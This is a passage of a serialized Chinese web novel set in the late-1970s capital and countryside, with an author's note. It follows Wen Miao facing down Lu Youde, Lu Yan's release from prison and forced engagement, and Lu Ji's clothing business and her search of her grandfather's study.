讲座开在京市大学的讲坛里,由京市市长主讲,有专门的安保人员在门外检查,非必要的人员不能进来,有不少政府官员都来了,温淼还在前排的座椅中看到了温知意的名字。 温淼坐在莉莉身边,也跟着听了讲座,不过每个外宾都戴了同传耳机,也不需要温淼翻译,只是偶尔小声回答一两句莉莉的问题,她打起精神来听了两个小时的讲座,十一点讲座结束,总算是到了休息时间。 下午都是外宾的私人行程,莉莉有些不舍地看着温淼,道:“温,下午的时候你能带我逛逛京市吗?” 温淼莞尔,轻快应下。 “当然,下午你在宾馆等我,我去找你。” 今天中午不包饭,温淼在想着要不去跟着温知意吃一顿。 看着莉莉和其她外宾一起离开,温淼拍了拍裙摆,将工作牌取下放进兜里,正要去找温知意。 还没看到人,温淼就先碰上了她不想见到的人。 陆有德出现在她面前,身上穿着一身板正的军装,神采奕奕,看起来一身正气。 如果不是温淼早就知道眼前的人心是黑的,她也会被这外表欺骗。 温淼眼皮都懒得掀,也不想和他维持表面和谐。 招呼都没打一声,绕过了陆有德想要往前走。 可她不说话,陆有德却不愿意放她离开,往左挪了一步,过道狭窄,一下就挡在了温淼身前。 他看着温淼,神色严峻,呵斥道:“今天这么重要的场合,你是怎么进来的?!” 陆有德的语气咄咄逼人,温淼听着心烦。 “我怎么进来的跟你有什么关系?” 陆有德蹙着眉:“你奶奶没了,我作为她曾经的朋友自然是要好好管教你,你平时乱来也就算了,怎么能在今天的场合乱来呢?是不是偷偷溜进来的?!跟我去和安保人员道歉。” 周围还有不少人没有离开,陆有德说话的声音又没有收着,被人听见后,不少人的目光注视过来,落在温淼身上的眼神怪异。 陆有德见状,心里越发生出几丝优越感,态度高高在上道:“我不知道你混进来的目的到底是什么,但是规则是无关人员不允许进来,你如果真的想要进来的话,大可以跟我说一声,我会想办法让人放你进来,可你看看你现在擅自闯入像什么样子?” 他问:“你的家教呢?” “也是,你奶奶妈妈都没了,也没什么人教你,难怪让你长歪成这样,这样吧,你要是真的遇上了什么困难的话,就来找我,我多少能够看在你这么可怜的份上帮衬一些。” 温淼冷笑一声:“就是不知道陆首长你可以帮衬到什么地步。” 陆有德皱眉,原本只是嘴上说说的话怎么可能让她当真:“你现在年纪也这么大了,该靠着自己的努力去争取你想要的东西。” 几句话说出去后,他险些被自己的话绕晕,最后话还是落在最开始的话题之上:“好了,别说这么多有的没的,现在跟我去和安保人员道歉。” 周围窃窃私语的声音逐渐响起,不少人都指着她们在说些什么。 陆有德不自觉挺直了腰板,下巴抬起,看着温淼。 温淼当着他的面,将口袋里的工作牌掏了出来:“不好意思陆首长,让你失望了,我不是溜进来的,是光明正大以外宾翻译的身份进来的。” 这话说完,在一边和她同行的另外一个姑娘没忍住开口了:“对啊长官,虽然你是首长,但是你也不能胡乱污蔑别人啊,我们不过是结束之后把工牌给取下来了而已。” 陆有德还听见有人小声道:“原来是这样,刚才我还误会了。” “陆首长应该给他面前的那个姑娘道歉才对。” 陆有德拉着一张老脸,险些绷不住表情。 要他给温淼一个小辈道歉?做梦! 温淼继续道:“还有,你既然那么想给我当长辈,还要帮衬我的话,刚好我缺钱,那就给我点钱吧,谁不知道你们陆家家大业大,想要当我长辈就别在这光动嘴皮子。 “还有,我知道你家陆延进监狱了你心里不舒服,看我那么优秀难免会想到你家那个不争气的,但是没关系,陆首长,你家陆延现在应该快要出狱了,我相信他不会再傻到把自己弄进监狱给你丢脸了,不过谁能想到陆首长峥嵘一生,竟然培养出来一个进过监狱的孙子呢。” 陆有德被她的一番话气得脸颊涨红:“你……” 他没想到自己遮遮掩掩、不愿承认的事实就这样被她当着这么多人的面说了出来。 温淼弯弯唇:“陆首长,我怎么了?哦,对了,你不是说要帮衬我吗?喏,给钱吧。” 她坦然对陆有德伸出手,手心朝上。 陆有德感受到落在他身上的或是想要看好戏或是惊讶的目光,瞬间咬了咬牙,只想将人快些打发走,便将裤子口袋里的钱夹拿了出来。 打开钱夹,抽了一张大团结给她。 温淼收下后,看了眼他鼓鼓囊囊的钱包,疑惑道:“陆首长,你这么小气?” 她们这边的动静引起了不少人的关注,市长秘书孙桐见到异状,过来查看情况。 见着陆有德和温淼对峙后,有些奇怪地问道:“温同志,你们这是?” 前几天对随身翻译的培训就是秘书带着的,所以她对机灵聪慧的温淼有很深的印象。 温淼看了眼秘书,笑着道:“陆首长说我可怜,要帮衬帮衬我,也算是今天给我表现得好的奖励。” 当着秘书的面,陆有德咬了咬牙,将钱夹里的钱掏出了一半,给了温淼,努力恢复正常的语气: “是啊,我一个做长辈的自然要给小辈鼓励,这点钱都是我的心意。” 接过钱后,温淼有些委屈地看着孙桐:“孙秘书,刚才陆首长可是污蔑我是偷偷溜进来的,还要强迫我去找安保人员道歉,你问问周围的人,她们都看到了的。” 周围的人纷纷点头。 孙桐拧起眉,有些严肃地看着陆首长:“陆首长,您也是军人,没有证据的事情怎么能够乱说呢!这还是个脸皮薄的小姑娘。” 陆有德脸色僵硬,强行维持镇定给人道歉:“对不起。” 孙秘书是市长的左膀右臂,他得罪不了。 只是扭曲的面色还是没能掩盖住。 秘书收回视线,“既然您知道错了就好,我带温淼走了。” 她揽着温淼的肩:“走,还没吃饭吧,我带你去吃饭去。” 走出一段距离,温淼笑盈盈对秘书道谢:“孙姐,谢谢你刚才帮我。” 孙桐拍了拍她的肩:“还以为你被欺负呢,吓我一跳。” “怎么,你要和我一起去吃饭还是?” 刚才去找温知意被人打断,现在也不知道人哪去了,温淼刚好刚才从陆有德那得了钱,便道:“孙姐,我请你去国营饭店吃饭。” 吃完饭后,温淼坐地铁回家。 到家后,她将上午的事情和季白青说了说。 闻言,季白青挑了挑眉:“你这是继承了我的衣钵啊。” 不得不说,妻妻俩在一起久了之后确实会互相影响,就比如温淼现在学了一套季白青似的胡说方法。 温淼没好气瞪她一眼,还不是因为总是被她说出的乱七八糟的胡话给骗过。 所以她现在面对讨厌的人也学会了一本正经地胡诌。 将陆有德给的钱拿出来数了数,还真不少,除去请孙桐吃饭的钱,还剩下八十多。 温淼给了季白青:“喏,零花钱。” 季白青闻言一愣,随后笑眯眯地接过,甜言蜜语一句接一句。 “老婆你可真好,我跟了你真是这辈子做的最正确的决定了。” 温淼脸颊微红,将人凑近的脸蛋推开- 云水村,八月。 前阵子刚下过一场大雨,天一放晴,何香月就和温向荣一起去了镇上。 以前何香月一年都难去一次镇上,但是季白青和温淼去京市后,时不时就会写信寄回来关心她们,亦或是在京市买了东西,寄包裹回来。 在次数多了之后,何香月便养成了每半个月去一次镇上,看看有没有从京市寄回来的信和包裹的习惯。 大多数时候,都还拉上温向荣一起去。 温向荣现在的腿脚已经完全修养好了,虽然一到潮湿的天气腿还是会发疼,但比起先前已经好了不知道多少倍。 多活动活动也是好的,让她腿脚更利索,再者寄来的信和包裹大多也有温向荣的一份。 到了镇上之后,两人直奔邮局。 得知有信件和包裹之后,两人的脸上多了些笑意。 取了东西之后,又去供销社打了半瓶酱油,她们没在镇上多待,很快回到村里。 回到家后,将信件拆开,温向荣将上面的内容念出来,两人的面色都逐渐凝重起来。 季白青在信上提醒温向荣,陆延这段时间就要出狱了,他见过温向荣的长相,所以在他回到村里后,温向荣再在村里待下去已经不安全了。 她让温向荣在陆延出狱前搬到梅叙那去住,她已经和梅叙写信沟通好了。 听完温向荣念的内容,何香月立马站了起来,开始在屋子里着急转悠。 “温婶子,我们现在就快收拾东西,到时候别被陆延那个瘪犊子给举报了。” 温向荣点头,知道季白青为了让自己现在过得自在费了多少心力,也没有磨蹭下去,立马开始收拾自己的东西。 她的东西一向都摆放得齐整,收拾起来很简单,规整好往袋子里一放就行。 把衣服和生活用品收好,何香月骑上自行车,载着温向荣去镇上。 路过熟人,看着她们带着大包小包的东西,有人奇怪问道:“香月,你们是要去哪?带着这么多东西。” 何香月答道:“我婶子她要回城里了,在村里住腻了。” 说完后,没给她们再问下去的机会,何香月加快速度,一溜烟走了。 到了镇上,找到了梅叙家门口,两人敲门后梅大娘很快就来开门了。 见到了两人,梅大娘自然知道来意,连忙让她们进来。 “叙叙她出差呢,你们快进来坐坐。” 梅大娘一个人在家里也怪孤单的,一想到温向荣能住进来陪她,心里也是高兴的,得知消息的当天就把温向荣的房间收拾出来了。 何香月倒是还有些不舍,陪着温向荣再在梅家坐了一会儿,眼见着天色擦黑,这才依依不舍地道别回去。 几天后,溪宁镇的监狱大门被打开,陆延的头发被剃成板寸,两手空空地走了出来。 他原本麻木的眸光在见到了属于外面的广阔天色之后瞬间多了几分神采。 监狱后门砰的一声被关上,听到了动静之后,陆延的身体先是一颤,随后涌上心头的便是狂喜。 他终于从监狱那个鬼地方出来了,以后只要想办法回了京市,那谁也不知道他的过往,他还是光鲜亮丽的陆家未来继承人! 想到兴奋之处,男人瘦削苍白的脸上多了几分病态的潮红,放在身侧的手激动得微微发抖。 有人从他身边路过,见着他这一副模样,绕了个大圈避开和他走近,生怕他突然发病乱打人。 太久没有出来活动,陆延的记忆力退化了一部分,有些不记得回云水村的路,想要坐着牛车回去,可是身上却没有一分钱。 他只能尝试按照模糊的记忆寻找回去的路上,只可惜越走越偏僻。 到了傍晚,他沿着原路返回,回到了镇上,看着逐渐昏沉的天色有些茫然。 正站在远处发呆,他突然看见了一道熟悉的身影*。 是沈念念和其她知青,沈念念被一群知青簇拥在中央,几个人说说笑笑,脸上灿烂的笑容显得十分刺眼。 陆延的眼睛微微眯了眯,盯了她们那处一两分钟这才真正地确定下来,那人就是沈念念。 沈念念身边站着的他不认识的两男一女大概是在他坐牢的时候村里新来的知青。 他看着那几个人,浓烈的忮忌涌上心间。 他辛辛苦苦坐牢两年,凭什么沈念念她现在还过得那么高兴,甚至在这两年间,她连看都没来看过他! 这样想着,他阴冷着声音开口道:“念念。” 听见了叫自己的名字的声音,沈念念有些疑惑地扭过头去,朝四周看了看,都没有见到人,她搓了搓胳膊,觉得有些害怕。 “刚才是有人叫我吗?” 李三铁和张二柱闻言,挠了挠头,“好像我们也听见了一点声音。” 到底是谁在叫她?沈念念疑惑。 没多久,躲在角落与阴影融为一体的男人走了出来,陆延展现在光线之下,向沈念念的方向走了几步: “念念,是我,你不记得我了吗?” 看到站在自己面前瘦脱了相的男人,沈念念惊愕地瞪大了眼睛。 这人是、是陆延?! 如果不是声音听起来有些熟悉,她都不敢认。 沈念念顿了几秒,下意识往后退了一步:“陆延哥,你、你今天出来了?” 陆延?听到了这个名字的方宁和其他人对视一眼。 她们自然也都知道知青点还有一个叫陆延的知青因为纵火被送去坐牢了。 现在一见到了人,怎么感觉有些阴恻恻的。 陆延见到沈念念后退的动作,眼神一暗。 “你在怕我吗?” 沈念念被他用这样的眼神看着,立马摇了摇头。 她勉强挤出一个笑,上前一步对陆延道:“陆延哥,你终于出来了,我、我其实心里一直都在念着你。” “是么?”陆延低笑一声,伸出手搂住了沈念念的肩膀,对她深情款款道:“念念,我也很想你。” 沈念念的身体僵硬,最后逼迫自己微微放软下来。 她扯唇:“嗯。” 张二柱和李三铁闻言,脸色都微微僵硬。 李三铁开口问道:“念念,你们是什么关系啊?” 张二柱也专注地看着她,想要听到一个回复。 陆延替她,开口解释:“沈念念是我对象。” 沈念念之前不是说最爱他了吗?既然说了,那就要遵守承诺。 现在就迫不及待要和他划清界限?休想! 更何况,他的话本来就没有说错。 沈念念感受到放在自己肩上的手收紧,快要将她的骨头捏碎,最终还是没忍住将人的手甩开,忍着脾气道:“陆延哥,你捏痛我了。” 陆延看了看自己的手,再看看皱起脸的沈念念,面色表情不变,他丝毫不愧疚地开口:“现在你们该回去了吧?” 沈念念点头,几人一起去固定的地方等牛车。 等上了车,听陆延十分自然地开口让她帮忙付牛车的钱之后,沈念念的脸一僵,捏着鼻子给他付了钱。 这辈子,只有别的男人给沈念念花钱的时候,沈念念还从没有给别的男人花过钱,即使花了那也是为了得到更大的回报,像是现在这样毫无回报的,这倒还是头一次。 几个人默不作声地坐在了牛车之后,到了云水村的时候,纷纷下了车。 在村口树下纳凉的村民见着陆延之后,第一时间都还没认出来是谁。 奇怪道:“沈知青,你们带了个谁回来?” 沈念念扯唇解释:“这是陆延陆知青。” 闻言,众人一骇,纷纷往后退了几步,远离陆延。 刚从牢里出来的人,万一沾上了他身上的晦气该怎么办! 有人更是避之不及,直接拔腿就跑了。 见状,陆延的心里又冷了几分。 这群土包子给他等着,她们不过是一群无知的蠢货,等陆延回到京市之后还是陆家的少爷,想花多少钱花多少钱,想干什么干什么,不是这些人能比得上的。 沈念念看了眼陆延,敷衍安慰道:“陆延哥,她们大概都是因为家里有事所以回去了,你别往心里去。” 说完之后,几个人往知青点走。 今天方海洋和潘红霞没有跟着一起出来,潘红霞在屋里做饭,方海洋烧火,趁着火正旺的功夫出来透口气。 见到了回来的一群人后还没来得及说点什么,一眼就看到了陆延。 他瞳孔微微放大,即使是早就预料到了陆延要被刑满释放了,现在见到了人他还是有些没有反应过来。 陆延显然也看到了他,胸膛剧烈起伏,没说一句话,直接把面前的人扒开,随后大步走到了方海洋的面前。 不等他躲开,一拳就砸到了方海洋的脸上。 沙包大的拳头落下,带着狠劲,连带着陆延的脸上都带了几分狠厉。 他道:“方海洋,我现在来找你算账了。” 方海洋也就愣了那么一下,感受到脸颊的剧痛之后便立马反应过来,飞快还手,两个男人纠缠在一起,扭打起来。 动静闹得挺大,潘红霞在厨房里炒菜,往屋外看了一眼,蹲在灶前给灶眼里添了几根柴之后毫不在意地继续炒菜。 等到两人被分开,已经是半个多小时后的事了。 两个男人的脸上都挂了彩,没有一个人皮肉完好。 就连去拉架的李三铁他们都差点被误伤。 方海洋抹了把唇边的血,盯着陆延开口道:“你在我面前横什么横,有本事去找季白青报仇啊!” 说到这,他一笑,挑衅似地开口:“哦,你不知道吧,在你坐牢的日子里,季白青的日子过得可滋润了,她和温淼结婚了,两个人还都考上了大学,一起去京市享福去了。” “你是不是很羡慕?看看你现在这个废物样。” 方海洋此刻想到什么话都一骨碌往外说,反正他已经做好了一直留在云水村的准备了,虽然日子辛苦一些,但好歹每天能够吃饱饭。 所以也不用再担心陆延背后的陆家,不需要再故作讨好。 听到了方海洋的话后,陆延的面色明显难看了一些。 沈念念将碗重重地放在桌上,声音加重:“你们都别吵了,有什么好说的,一天天在这闹内讧!” 方海洋看了她一眼:“你和潘红霞又好到哪去,怎么?你没考上大学所以戳你肺管子了?” 这下沈念念的脸色也突然之间难看起来。 没考上大学,不能回到城里这件事一直是沈念念的心病。 她呛声回去:“和你有什么关系!” 这下她倒是和陆延站在了同一条战线,都一样讨厌方海洋。 方海洋见戳中了两人的痛处,嗤笑一声,拿着毛巾擦了一把脸之后回来吃饭。 陆延拉着沈念念的手腕,将人带出去。 沈念念被他拉到屋后,抿唇看他,问道:“陆延哥,你想说什么?” 陆延的眼里飞快闪过了一抹狠意:“沈念念,我最后问你一遍,你现在还喜欢我吗?” 沈念念一愣,没有及时回话。 她在以前一直觉得陆延有那么好的家世能够想办法将她带回京市,可是现在高考已经开放了,她回去的路多了一条。 但这条路真的能够行得通吗?沈念念的成绩并不算好,她一时间有些茫然。 陆延没有催她,只是淡淡地看着她。 沈念念张了张嘴:“陆延哥,我配不上你。” 陆延闻言冷笑一声,抓着她的手腕捏紧,在她的手上留下一道明显红痕。 “我没坐牢之前你怎么不说你配不上我?坐牢之后就配不上了?!” 沈念念被他说得偏过头去,她试着想要将自己的手抽出来,却抽不动。 最后只能放弃,脸上表情吃痛,干脆直接将自己的心里话说了出来:“陆延,我不喜欢你了,你现在别来烦我。” 陆延嗤笑一声:“我烦你?最开始是谁想尽千方百计纠缠我?!不是你吗?沈念念,你现在嫌弃我坐牢,所以又不愿意巴结我了,你说哪有这么好的事。” “你不和我在一起想要和谁在一起?” 看着男人狰狞的神色,沈念念被吓得连连后退。 手仍旧被对方握着,见陆延凑过来想要亲她的脸,沈念念心一狠,一巴掌打在了他的脸上。 “啪”的一声,陆延的脸上添了一个鲜红的掌印。 他动作顿住,捂着自己的脸,面色阴沉地看向沈念念。 “你敢打我?” 看着陆延抬起了手,沈念念顿时后悔了,缩着脖子下意识想躲,结果对方的手却轻轻地落在了她的脸上,声音柔和中透着几分诡异。 “念念,你有什么愿望吗?” 沈念念怯怯睁开眼睛,看着男人面上湿黏的笑。 她睫毛一颤:“我……” “我们不分开好不好?我可以帮你实现你的愿望。” “我想回京市。” 陆延承诺:“我可以带你回去。” “真的吗?”在得到了对方的承认之后,沈念念还不敢说什么。 陆延继续道:“开放高考了,可是你的成绩能考上吗?如果这样的话,那就一直在村里蹉跎下去了,念念,到时候我可自己回去了。” 闻言,沈念念瞬间慌了,她立刻道:“那我们不分开。” 陆延点头,毫不犹豫道:“那我给我爷爷写一封信,通知他之后我们就结婚。” “等我以后回了陆家,你是我妻子,我继承的钱都有你的一半。” 沈念念原本还有些犹豫的心思瞬间坚定下来,她点头:“好!陆延哥,我愿意和你结婚。” 听到了对方说了自己想要的回答,陆延的心里闪过几丝奇异的满足。 沈念念用完了他就想要将他踹开,可他偏不如她的愿。 无论如何,陆延要缠着她。 “好,这可是你说的。” 只要结了婚,那他和沈念念就是绑在一起的,以后无论发生什么事,她们都要在同一条战线上。 第二天,陆延就写了一封信,和沈念念一起去镇上寄了出去。 倒也不是为了征求同意,陆延只是想要让陆有德和陆父给他寄点钱回来。 回去后,他和沈念念就上交了材料,等着李向东通过之后就去领证。 婚礼没有办,也没有请人吃饭,就连扯证之后去国营饭店吃饭庆祝都是沈念念出的钱。 和先前温淼结婚时被重视的程度天差地别。 沈念念只能在心里安慰自己,等回了京市之后,凭借陆延的家世,她能有花不完的钱,而温淼和一个泥腿子结婚,以后只会有吃不完的苦,哪里能够比得上她。 这样想过之后,她的心情倒是真的好了许多。 几天后,远在京市的陆有德收到了陆延寄回来的信,看完之后,眉头紧锁。 他怎么都没有想到,陆延出狱之后最先想到的事竟然是结婚。 还是和一个毫无背景的知青结婚,甚至对方是什么情况陆延也没有和他明说。 信里的字字句句都没有体现出对他这个爷爷该有的尊重,只有一个目的,那就是要钱。 他黑着脸将信收到了办公桌的抽屉里,提起笔正想着怎么回信,突然有人来敲门。 是手下二连的夏连长。 “首长,我们连的士兵都已经准备好了,等你你去检阅。” 陆有德点了点头,将笔放下跟着他一起往训练场走。 看着二连的士兵顺利完成军演,陆有德点了点头。 “不错。” 一个下午的时间转瞬即逝,夏连长还有事情要和陆有德汇报,两人一起去了食堂吃饭。 将正事说完之后,陆有德称赞道:“今天训练得不错,现在你练兵的水平就快比得上我了。” 夏连长连连摇头:“我怎么可能比得过首长你,我带的兵没有你手下的好就算了,就连我家那两个儿子也不争气,不像陆首长你孙女,听说聪明伶俐还很能干。” 陆有德一愣,在心里犯嘀咕。 话说他没怎么带陆霁在外面露过面,夏连长怎么知道陆霁的? 最后他还是没忍住开口询问道:“你怎么知道我孙女?” 他这话一出,夏连长也是一愣。 他道:“您不知道?这还是朱首长夸过的,说是和您孙女一起下过棋,如果不是您孙女让了他一招的话,他差点就输了。” “李连长上次也说她细心,还很耐心地教她女儿做题。” “现在外面都在夸陆首长您教孙女有方。” 听了这话,陆有德干笑一声:“原本她这点小聪明我都不让她在外面耍的,没想到还是被你们发现了。” 他嘴上是这么说,实际上已经在想,陆霁这样做的目的到底是什么。 不满足于陆家继承人这个口头上的名号,想要争权夺利了? 她一个姑娘家家,哪里能够继承陆家。 他若有所思,看来应该敲打敲打陆霁了,让她以后别再多动这种小心思。 想着,他吃了饭之后就让警卫员开车把他送回了陆家,回到陆家后,问陆母:“陆霁呢?” 陆母看着他明显不善的脸色,小声道:“不知道,很久没回来了。” 陆霁的住处没有告诉陆母她们,也没有人特意去调查过,所以陆家没一个人知道。 陆有德闻言沉着脸道:“她是你女儿,去哪了你不知道!” 陆母讪讪道:“我现在就去查。” 陆霁的住处很好找,不少人看到她进出过,一问就问出来了。 找到了地方之后,陆母却发现屋外的门上了锁,一直到晚上都还没有回来。 一时间她有些疑惑,这是去哪了。 早知道她不会回来,陆母就不等那么久了。 而此时远在羊城招待所的陆霁打了个喷嚏,身后李从瑾像是蛇一样从背后攀上她的肩膀,询问道:“姐姐,感冒了吗?” 她们今天才到地方,打算先按照季白青写下的方案,陆霁想先做服装生意看看。 陆霁眉头也不抬,将她的的手拨开,继续计算明天要去批发的衣服数目。 李从瑾撇了撇嘴,去楼下找招待所的老板打了壶温水,装进杯子里后放在陆霁一伸手就能够到的地方。 陆霁没过多久就注意到了,取过杯子喝了一口润嗓子,将今天打听到的几个地点写下塞给李从瑾。 “明天,你去这几个地方,把衣服收上来,能收多少收多少。” 李从瑾怨念地看了眼她:“姐姐,我一个娇滴滴的女孩子怎么自己行动?” 陆霁冷笑一声,“你现在跟我装什么。” 不是轻轻松松把她按在墙上接吻的时候了。 女生叹了一口气:“好吧,遵命。” 她弯下腰,在陆霁的侧脸上亲了一口。 “提前要个报酬不过分吧?” 陆霁有些不耐烦:“干正事,你一边玩去。” 李从瑾默不作声将季白青写的那一份方案拿过来看了看,动笔简单改了几个部分。 等到陆霁忙完了后,还没来及松口气,就被人握着手腕拉到了床边接吻。 黏糊糊的水声之下,察觉到了女人想要抗拒,李从瑾的声音模糊传出:“明天……我收的东西我付钱……” 陆霁的手落在她肩上,心里微微叹气。 【作者有话说】 我家猫疯了,每天我在码字,它们就发出各种噪音…… 然后还喜欢一屁股坐我键盘上,这对吗 感谢投雷和营养液,感谢评论订阅收藏[三花猫头] 120-130 第121章 慎买 ◎证据(本章主cp出场较少,慎买)◎ 几天过后,陆霁和李从瑾带着从羊城批发的衣服回到京市。 她们都是挑选的市面上少见的衣服,短袖长袖裤子裙子都有,大部分挑的都是时兴的款式,的确良、尼龙袜,还有罕见的碎花裙和喇叭裤。 陆霁挑了几件适合季白青和温淼身形的衣服单独拿出来,打算有时间再把衣服送过去。 回到京市第二天,便让李从瑾和她一起去了人民市场支起摊子,将衣服一一摆了出来。 她们批发的衣服颜色并不局限于现在市面上多见的黑色、灰色和军绿色,更多的是浅色或是颜色更为明亮的衣服。 款式也少见,尤其是其中的喇叭裤和蝙蝠衫。 陆霁出门前让李从瑾换上了喇叭裤和蝙蝠衫,她个子高,身上各处的肉都长得恰到好处,上半身的蝙蝠衫穿在她身上,露出平直的锁骨,反而越发显出她的纤瘦。 喇叭裤也显得本就长的腿越发修长,穿着这一身跟模特似的,明晃晃的招人眼。 陆霁自己身上的是一件黄色的碎花长裙,头发松松拢到胸前,显得温婉又慵懒。 两人出现在人民市场里,衬得原本有些暗的市场都突然间变得敞亮了一些。 衣服挂到了一半,就有人来问她们身上的衣服的价格。 “同志,你们身上的裙子和衣服裤子还有吗?多少钱?” 李从瑾继续将袋子里的衣服摆出来,陆霁停下动作,认真回答道:“都还有,裙子是三十,喇叭裤二十五,蝙蝠衫二十二。” 闻言,不少也动了想要买的心思的人微微咂舌。 这也太贵了吧,不过不要布票的话,确实是会比在供销社里卖的贵。 问价的女同志穿着一身白衬衫和黑色长裙,脖子上挂着一根细链,浑身上下收拾得干净利落,看起来就不像是差钱的人。 闻言,她也没有多犹豫,说了自己的尺码后大气道:“你们身上的帮我都拿一套。” 陆霁给她拿了相应的尺码之后,笑着问:“我看还有其他的款式适合你,要再看看吗?” 见她点头,陆霁将几件适合她的衣服取下来给她看。 最后,女同志带了两百块钱的衣服离开。 京市有钱人不少,一天下来,卖出去了一千多块钱的衣服。 这次批发回来的衣服卖了六分之一,陆霁估摸着一个礼拜的时间就能够将其卖完。 她将卖得好的衣服款式记下来,又标注好每件衣服的价格,打算热销的款式之后多进一些货。 一天过去,除去成本,将利润算了一通,最后几乎赚三四百。 做服装生意确实赚钱。 一个月过去,陆霁将服装生意摸得差不多,又让李从瑾找了能相信的人分别去进货、卖衣服,这些事都交出去之后,身上的担子一下轻了下来。 这时候才突然想起一个月前听邻居说的看见了有个中年女人来她住所门口找她,陆霁一猜便知道是陆母,怕她找自己真有什么事,便回去了一趟。 回到陆家的时候,恰巧陆有德也在家,见到终于回来的陆霁之后冷嗤一声。 “我还以为你翅膀硬了,都直接在外面安家了,现在还知道回来?!” 他的阴阳怪气陆霁一向不在意,笑盈盈看着他:“是我的不是,让爷爷为我担心了。” 陆有德皱着眉说:“跟我进书房来。” 陆母在一边看着欲言又止,最后还是没说话。 陆霁跟在陆有德身后进了书房,书房的门刚被关上,陆有德的一巴掌就落在了陆霁的脸上。 脆生生的一巴掌过后,陆霁白皙的脸上出现了一道明显的鲜红掌印。 他凝着一张满脸皱纹的脸,用带着浊意的黑眸看着她,呵斥道:“你前段时间都在干什么?我允许让你在家属院露面了吗?身上有个名号还没落实下来呢,就还真飘了?” 陆霁的脸色不变,站在原地眼都不眨一下,仿佛刚才被打的人不是她自己一样。 她疑惑道:“爷爷,你在说什么?我怎么不懂。” “哦,家属院是温连长带我进去的,她有事找我帮忙,我去了几次之后巧合之下跟几个长官说了几句话而已。” 陆有德微微眯起眼睛,狐疑地看向她:“真的?” 不是她主动要在家属院露面? 不过……陆有德再次问道:“温知意找你干什么?” “对账。” 这个理由听着倒是没让陆有德怀疑,毕竟陆霁本身就是做的会计工作。 他走到桌前坐了下来,双手放在桌上,目光灼灼地盯着陆霁,问:“那你这段时间都去哪了?你妈那么多天了也没有见到你。” 陆霁坦诚道:“做生意,你们不给我钱,我总要给自己攒点吧。” 听她这么说,陆有德对她动机的怀疑确实打消了一些。 他声音温和了一些,但还有些冷冽、生硬:“不需要你去做这些抛头露面的事情,你是陆家的人,只要你出嫁了,那我肯定会给你一份丰厚的嫁妆。” 话里话外都不忘劝她快些嫁出去,陆霁在心里冷笑一声,没有说话。 没听见回答,陆有德也并不生气,只等着她自己想通。 毕竟一个女人在外打拼并不容易,在外面遭受的毒打多了之后就想通了,愿意回来嫁人了。 他看着桌上茶杯,按着眉心吩咐道:“去给我泡一壶茶来。” 陆霁端着杯子转身,出了书房往客厅里去的时候,恰巧撞上了陆母。 陆母一抬眼,见着她脸上的巴掌印有些心疼,小声道:“怎么还动手了?小霁,你和你爷爷犟什么犟,快搬回来吧,到时候给你找个可靠的对象结婚之后,日子就好过了。” 陆霁平静地看着陆母,冷淡道:“妈妈,这是你想要的生活,不是我想要的,我从来不会把我的想法强加在你身上,所以希望你也能这样。” 说完,她不顾陆母的脸色巨变,去客厅烧了壶水,泡上茶端着往陆有德的房间去。 路过陆有德的卧室,听到了他在房间的声音,陆霁的脚步加快,往书房走去。 托盘被放在桌上,她将看了眼关上的门,将抽屉里的资料翻开,一眼扫过去之后,没看到她想要的资料。 所有的东西都放回了原来的位置之后,陆霁在书房里转了转,将可能藏东西的角落都找了找,都没找到自己想要看到的证据。 留给她的时间并不多了,想到陆有德很快就会回来,陆霁一手撑在墙上,正打算思考哪里最有可能藏东西,手掌往下挪动,忽然感觉手感有些许差异。 她眉心微微舒展开,摸到那处凸起,将两块砖头取了出来,看不大清里面的情形,手往里一摸,各种响动,还有一沓一沓捆着的东西,大概是钱。 陆霁眯着眼睛再往里看了看,大概看清了个轮廓。 她将手收了回来,两块砖头复原。 回到桌前,站在桌面慢悠悠地往杯子里倒茶。 陆有德回来之后,见她还在房间里神色有些不耐。 “行了,你走吧。” 陆霁不会自讨没趣,毫不犹豫地离开。 在要回去的时候,陆母再次拦住她,面色纠结:“小霁,你不留在家过夜吗?你爷爷过几天又该跟我唠叨了,你知道的我有点怕他。” 陆霁疑惑问道:“这里算是我的家吗?” 甚至陆母也不像是她妈妈,不过这是陆母在这样的处境之下最好的选择,陆霁并不怪她,只是很难再去像以前那样爱她。 陆母听了她的话后一怔,见状,陆霁将门拉开,随后头也不回地离开。 脸上顶了个鲜红的巴掌印,走在路上都是显眼的,不少人都往她脸上看,眼神或收敛或明显,还有女同志上前询问她需不需要帮助。 陆霁笑着拒绝之后,将别人的目光忽略,回了她买的房子里。 厨房往外飘着炊烟,传出炒菜声,也不知道什么时候李从瑾又过来了。 陆霁有些心累,坐在沙发上一动不动。 李从瑾炒好了菜,端出来的时候,看到陆霁,刚扬起笑,就瞧见了她脸上的明显的巴掌印。 她神色一凝,将菜放到桌上,捏着人的下巴好好查看一番。 “谁打你了?陆有德?” 陆霁点头。 李从瑾扯出一抹笑,也没说什么,只是神色有些阴沉地从房间里拿出来药膏给她擦伤口。 劝人吃了午饭去休息,等到陆霁睡着之后,李从瑾托关系找了个擅长格斗的男人,给他一笔钱让他堵截陆有德,给他套上麻袋狠狠打一顿。 过了几天之后,陆霁听到了门外的敲门声,去一看,才发现是陆母来了。 她抵着门,没有给人进来的意思。 “怎么了?” 陆母的手攥紧,看着她嘴唇嗫嚅,最后冒出一句:“小霁,最近过得怎么样?” 陆霁神色疏冷,再次重复询问:“怎么了?” 她知道陆母的性格,如果不是她有事或者是陆父陆有德吩咐的话,根本不可能来找她。 陆母的手指搅在一起,开口道:“你爷爷被人打进了医院,手和腿都骨折了,你要不要去照顾照顾她?” 实在是陆有德的性格太过奇怪,陆母自己一个人照顾不过来。 想到自己的心思似乎有些明显,她多说了一句话找补:“怎么说都要去探望你爷爷的啊,你们爷孙之间哪有隔夜仇……” 听完她的话,陆霁冷声:“不去。” 说完之后,她将门一关,不再去看门外女人的表情。 李从瑾从屋子里出来,黏糊地抱住了她,“姐姐,是谁来了?” 陆霁盯着她看了几秒,陆有德被打,是她干的? 李从瑾抬头,对她露出无害的笑容。 “姐姐,怎么了?” 陆霁收回视线,摇了摇头。 总之逃不开关系。 陆有德住进了医院,陆母和陆父都去照顾他了,趁着这个功夫,陆霁回了陆家一趟。 书房的门不出所料,被紧紧锁上,陆霁在陆有德的房间里找了找,这才找到了书房的钥匙。 进到书房后将房门反锁,她打着手电找到先前的那块地方,将两块砖挪开,靠着手电筒的光,这才将里面的东西看得清楚。 